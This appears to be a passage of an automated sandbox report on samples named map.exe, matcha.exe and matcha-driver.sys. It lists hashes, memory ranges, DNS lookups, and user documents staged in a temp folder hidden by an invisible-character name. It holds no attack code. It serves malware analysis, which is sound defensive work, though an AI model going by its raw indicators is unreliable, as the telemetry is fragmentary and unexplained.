SHA512 20ed86768d48478f0c29c20ecbd8e718e12b7d446b0948d3e71201dcffba7c4911cc4a36e6b7dd1458b8ecebdd9d23917ab9fc2946117aaaa87ad37c26395ef6

\??\c:\Users\Admin\AppData\Local\Temp\pyunztpq\pyunztpq.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

\??\c:\Users\Admin\AppData\Local\Temp\pyunztpq\CSC2BBA5BE010774459BDD0371A412977D3.TMP

MD5 b55797033ba2732c976750ef0e615f93
SHA1 68acd189b2260f6296ea932580c35c08a9ea855d
SHA256 42ae920ae39389ae02971122bd751d808b1b27c0bbf8d2ca35af48849bb4f1c7
SHA512 8d1c9260490dc8b140684241621e6da0292592ec4a8fb4c72f2edd59b1831707617881ab049f26812f7dfc43251d03cc39bc42b25e7d431c7f648e5d25da56d8

C:\Users\Admin\AppData\Local\Temp\RESD736.tmp

MD5 0acfff2a3123e5158f3e775dd879cd4d
SHA1 695097e9b30eed4c8732f65bfec3efc71b62b353
SHA256 84923573379a0a2f40452fc7ff46d1bf7d3007f4e2799d5bcbd34ae66ce59b7e
SHA512 adefea5abec919a77f32ac4474bd0b7dc8535d5357561b68cd2f5b56a16a2d2ab441ec39627eb510dbacded8c601f244309a8f5eeb2c47913fbc86f17852b1c6

C:\Users\Admin\AppData\Local\Temp\pyunztpq\pyunztpq.dll

MD5 c0d6e32945492175065135f0bca0402e
SHA1 b48d853e93a79f91ad281111e495c1857fa7b4bd
SHA256 a4d74e68e7f7a973e588dea201b2e7adb1580c2bbb826943428c50ce24f12f5c
SHA512 857cf4f1dd342082f940251d7d8259614d162fabb358e8578c39390e539e9268e75147a9f6f9fb710dec367b475a89f973d9566873df6f02e4dcb70db409cb16

memory/692-197-0x0000027968E90000-0x0000027968E98000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cadef9abd087803c630df65264a6c81c
SHA1 babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA512 7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2cc34387f5bf86983bdc0ae4f73ae01b
SHA1 17f943779343de5c1b0cb7f76293aafd5f74023e
SHA256 96018f8c60e4cf96272057a77de635518a58c197c2932ba3c81da1779c8f7a75
SHA512 12fc252d7007b1d1714a3b58dae9c3595779b0bcd5dfd1c48d114774e798eb706dc8c85652bc34902fe07107cf552027fb0e1ee5eb41a26022ce3f176959a0f3

memory/3112-226-0x00007FFDCEA00000-0x00007FFDCEB6F000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 548dd08570d121a65e82abb7171cae1c
SHA1 1a1b5084b3a78f3acd0d811cc79dbcac121217ab
SHA256 cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc
SHA512 37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

memory/3112-267-0x00007FFDE4C90000-0x00007FFDE4CA9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Desktop\InitializePublish.xlsx

MD5 6b3c0e0f671b7fa78f0e7440869d4aeb
SHA1 c6eae4bf9bbd8f045523baa4afcdaf11e65cf964
SHA256 d7d62a68f7539c4fb022f03ac12ada9adf36095913a92105386453d5130ed3c3
SHA512 306e8e2dc3ce63f9ee74d58c21d2633e32b22fb129646707b622fe7e100c8a7b5ce46c3631aecae0c12ee060b95df1928a2b3d7f3850d8f7d221f9f3b168217c

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Desktop\ResumeInitialize.xlsx

MD5 61aa83bc6a3ba02c91acb66fb65c1f0d
SHA1 25caee484f1a9291a1a4de4a119b2c2124e7119a
SHA256 bc7b4ed7917dcf6adb7fcfe8e3d9e1f5436b64cee82e771069890705408f85eb
SHA512 4280d1e9221051c9f01015f679077f3cd4aa346ae9cdd81054e9477cda5f83545d418dcfba7085e02de9d56ef7ffbcafe657da5823d52d0ec3a580f8a52496fc

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Desktop\WaitRedo.txt

MD5 36381a78ed3f8fde71cf6afdf32f6abc
SHA1 261ed32003e885e377c0f72e9d17aef99c20b2dd
SHA256 bf6ebb332f540ce7a7353089d7d984e9d1e8e0ef67bf3fddb30144c61c65144e
SHA512 df02576af3a61b675d7d2b487b47b85a235b8f2622bb3ae59ca493aa515787babfdaa97b4f8d78c558b11cc46b64b81a2516d8f05161ff2e35065097bed9c0c2

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Documents\AddImport.docx

MD5 33f0e06931352bd16db91dcaf08cfd99
SHA1 1db38ba8ee86bfd3b7bc06c3a6e7918d4da0c619
SHA256 e8cf25ab7ccffd5ece9cd2f031c3dee4f7e06c746ad6a1f286325338e0e591c5
SHA512 d22063467b8896d29291b01f6c73154a741992ce0bff7a047eb6ab0dc5adf977bbdb3fd74274b6e27d78f4a416db10715c14bc7d1901d281c9b88abd34f95a39

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Documents\HideStart.xls

MD5 1f7f1218cd4282b21598bbcefdabcea0
SHA1 06dac7bd1a17a30a46152c9f3da114582107ace8
SHA256 1018ffa6bb5604b07e3ecdfeb2c5c7a03484707e677156504d3c3ce7af2432e8
SHA512 06a523f28d71e41528be9dccc6cc2df1d664d1c370109b01d31c931d3b57ce86d2870a14e1cb9900460ca990d002fa97fe6c1a8419d01044d4e52d401c274e0b

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Downloads\LockBackup.php

MD5 c9186d9cb55eb2ccab7b52e00e587872
SHA1 3ab4f22cec20f045d14b3e64e83731e643b6c0ec
SHA256 08e8d382d31743674752bee8f85b8137e6b7dd619cae53e993223274899f7aaf
SHA512 075dfd25904831dbcd6e0202a3e02db64a7da96e0480c4565093d62a10051929e3f759ecbbaac5e4740b17cd5a237b98dd16abd9baa746b40cd2d06faa957127

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Documents\WaitInvoke.xlsx

MD5 b5068e5f516ff254bfca2d669e9cbf3b
SHA1 70385facc2583ce4d341a1224204c5d62a7ea6e1
SHA256 e40eef9caaa24d706756942c0b215c57770caddaf1d8c4e0d0845fa5285ccae6
SHA512 09e44b3a4eb133954b4da7ebe8c1630af89b1670eb1e6c7fc18b56aae0fe2f53f69e0174dc2d5d63c624e959bac7d6473b4cf513500f1f02a0733bd504bef28a

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Documents\RestoreSave.xlsx

MD5 829fe4fe7bbcd6e0d39b264dc06a951a
SHA1 a23f0474e2f30ef7853d153d2fd0cd2c817647c7
SHA256 6d8b89ccbfcd4ee15a9adc588b4ce1c154978f3e5547d57984a3575037ffa08f
SHA512 a58fafc1bbf6cd6a870e793a92a96b47d28df507d6b6c5463e0b77d8e751957fc1a7eea211a6b444706e22a7c6cc4d2f3af49ab66f1636f94bc7c5859301bbe0

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Documents\InvokeCompare.xlsx

MD5 74b6e706b249280e3f4f6779af94b7c1
SHA1 f578667d3b1ebc0d4cf01558857b5c3e27622529
SHA256 b79421342f8b84fda15527369bfbfc5e2ff06a15ff07873f4cc0090c4e2e893c
SHA512 4ce32a8dae69bd81391c9ddf420f7358dda4de3df25e7c1e4a2d9d199704af813307f86099dd78e942df82cf50ab60b6e9622c0b46c3a7396248e7de98f1d1a0

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Downloads\OptimizeSend.mp3

MD5 2a696a9b210d5c73c4c8d0799f34c027
SHA1 71c1e3704ac2cf5f6bc548cb92fc299b9e978e64
SHA256 64747b676ba1442d767cfbda0da6a9b24caf8be73f77753933e1717fcd721607
SHA512 c042ff27c5efe82e2f39af06188465b31795c2fc67f5190bc2d0ec58bd546480c34e23ef251beb8f6c2c8524ef817c8c5b666a4538f178a4e8a320fdcc4810d6

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Downloads\RegisterNew.jpg

MD5 4d87cff4cd3a09d3d54c60a7f224ab6c
SHA1 7917e268f68cea392fc7ce3e27758338572127cb
SHA256 39201562e366fe23aa5ee6cf6c8949f8c3cccbbe383dbe03f6619b530a010831
SHA512 211e73651167e48925eee1242095ef1ac0da78c47fe1b1f5c453863c656f11261d1b74f648ad2bea35f7b32181b556aefd146330ab2c9128bbde186a09d068bb

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Downloads\ResolveCompare.mp3

MD5 aceaf6fcf2097b61e919cf53795ee05b
SHA1 e0ad82b22d3e0efbdf584c69c45bf6389c92c21a
SHA256 45fd5d9878d1ba6396db870b980810ab5e7b413f382b95d0e588f578aa12e0e0
SHA512 5dc47311c16c2d465da0bd97d08412f67e9daefaa4a5bd5985237e1ba15a2c9132a717987b853f0eb1d4ddf06e986e1964b5245a5444985ddb0604568474402c

C:\Users\Admin\AppData\Local\Temp\‏ ‍  ​    \Common Files\Downloads\TraceDisconnect.mp4

MD5 25018e36e8f0da579c98895b3a08a9de
SHA1 5b209558a3598b26cc2d3b21baf5cdc3b7ac4bf3
SHA256 b84d7f41655b6be0606e13727c6e96103da04140c2fe2a805be89c7c954fc2f6
SHA512 fad7679c9da19bc4b7c7536c00fcc848007bb7e32661041d480e88a8dc162bfba6a1ab17bba73972253052df34960910bc691441d91d17d2441e9aae685b7380

memory/3112-285-0x00007FFDDF2C0000-0x00007FFDDF2EE000-memory.dmp

memory/3112-287-0x00000234A7180000-0x00000234A74F5000-memory.dmp

memory/3112-286-0x00007FFDCE680000-0x00007FFDCE9F5000-memory.dmp

memory/3112-288-0x00007FFDCF900000-0x00007FFDCF9B8000-memory.dmp

memory/3112-309-0x00007FFDCF130000-0x00007FFDCF71A000-memory.dmp

memory/3112-315-0x00007FFDCEA00000-0x00007FFDCEB6F000-memory.dmp

memory/3112-310-0x00007FFDE3A20000-0x00007FFDE3A43000-memory.dmp

memory/3112-338-0x00007FFDCF730000-0x00007FFDCF84C000-memory.dmp

memory/3112-349-0x00007FFDCE680000-0x00007FFDCE9F5000-memory.dmp

memory/3112-348-0x00007FFDDF2C0000-0x00007FFDDF2EE000-memory.dmp

memory/3112-347-0x00007FFDDF2F0000-0x00007FFDDF2FD000-memory.dmp

memory/3112-346-0x00007FFDE4C90000-0x00007FFDE4CA9000-memory.dmp

memory/3112-345-0x00007FFDCEA00000-0x00007FFDCEB6F000-memory.dmp

memory/3112-344-0x00007FFDDDDB0000-0x00007FFDDDDD3000-memory.dmp

memory/3112-343-0x00007FFDDE8A0000-0x00007FFDDE8B9000-memory.dmp

memory/3112-342-0x00007FFDDE8C0000-0x00007FFDDE8ED000-memory.dmp

memory/3112-341-0x00007FFDCF900000-0x00007FFDCF9B8000-memory.dmp

memory/3112-340-0x00007FFDE3A20000-0x00007FFDE3A43000-memory.dmp

memory/3112-339-0x00007FFDE4DF0000-0x00007FFDE4DFF000-memory.dmp

memory/3112-337-0x00007FFDDF290000-0x00007FFDDF29D000-memory.dmp

memory/3112-336-0x00007FFDDF2A0000-0x00007FFDDF2B4000-memory.dmp

memory/3112-324-0x00007FFDCF130000-0x00007FFDCF71A000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:49

Platform

win7-20240708-en

Command Line

N/A

Signatures

N/A

Processes

N/A

Network

N/A

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:52

Platform

win7-20241010-en

Max time kernel

119s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\mapper\map.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\mapper\map.exe

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Network

N/A

Files

memory/2128-0-0x000000013FD56000-0x00000001400B3000-memory.dmp

memory/2128-5-0x0000000077790000-0x0000000077792000-memory.dmp

memory/2128-3-0x0000000077790000-0x0000000077792000-memory.dmp

memory/2128-1-0x0000000077790000-0x0000000077792000-memory.dmp

memory/2128-10-0x000000013FD30000-0x00000001405EE000-memory.dmp

memory/2128-6-0x000000013FD30000-0x00000001405EE000-memory.dmp

memory/2128-9-0x000000013FD56000-0x00000001400B3000-memory.dmp

memory/2128-11-0x000000013FD30000-0x00000001405EE000-memory.dmp

Analysis: behavioral6

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:52

Platform

win10v2004-20241007-en

Max time kernel

90s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\mapper\map.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mapper\map.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\mapper\map.exe

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 104.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/4336-0-0x00007FF7E9E76000-0x00007FF7EA1D3000-memory.dmp

memory/4336-1-0x00007FF85F730000-0x00007FF85F732000-memory.dmp

memory/4336-2-0x00007FF7E9E50000-0x00007FF7EA70E000-memory.dmp

memory/4336-5-0x00007FF7E9E76000-0x00007FF7EA1D3000-memory.dmp

memory/4336-6-0x00007FF7E9E50000-0x00007FF7EA70E000-memory.dmp

Analysis: behavioral7

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:52

Platform

win10v2004-20241007-en

Max time kernel

91s

Max time network

141s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

Signatures

N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral9

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:52

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\matcha.exe

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 98.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 104.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 90.65.42.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:49

Platform

win10v2004-20241007-en

Command Line

N/A

Signatures

N/A

Processes

N/A

Network

N/A

Files

N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:52

Platform

win7-20240903-en

Max time kernel

120s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\matcha.exe

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Network

N/A

Files

N/A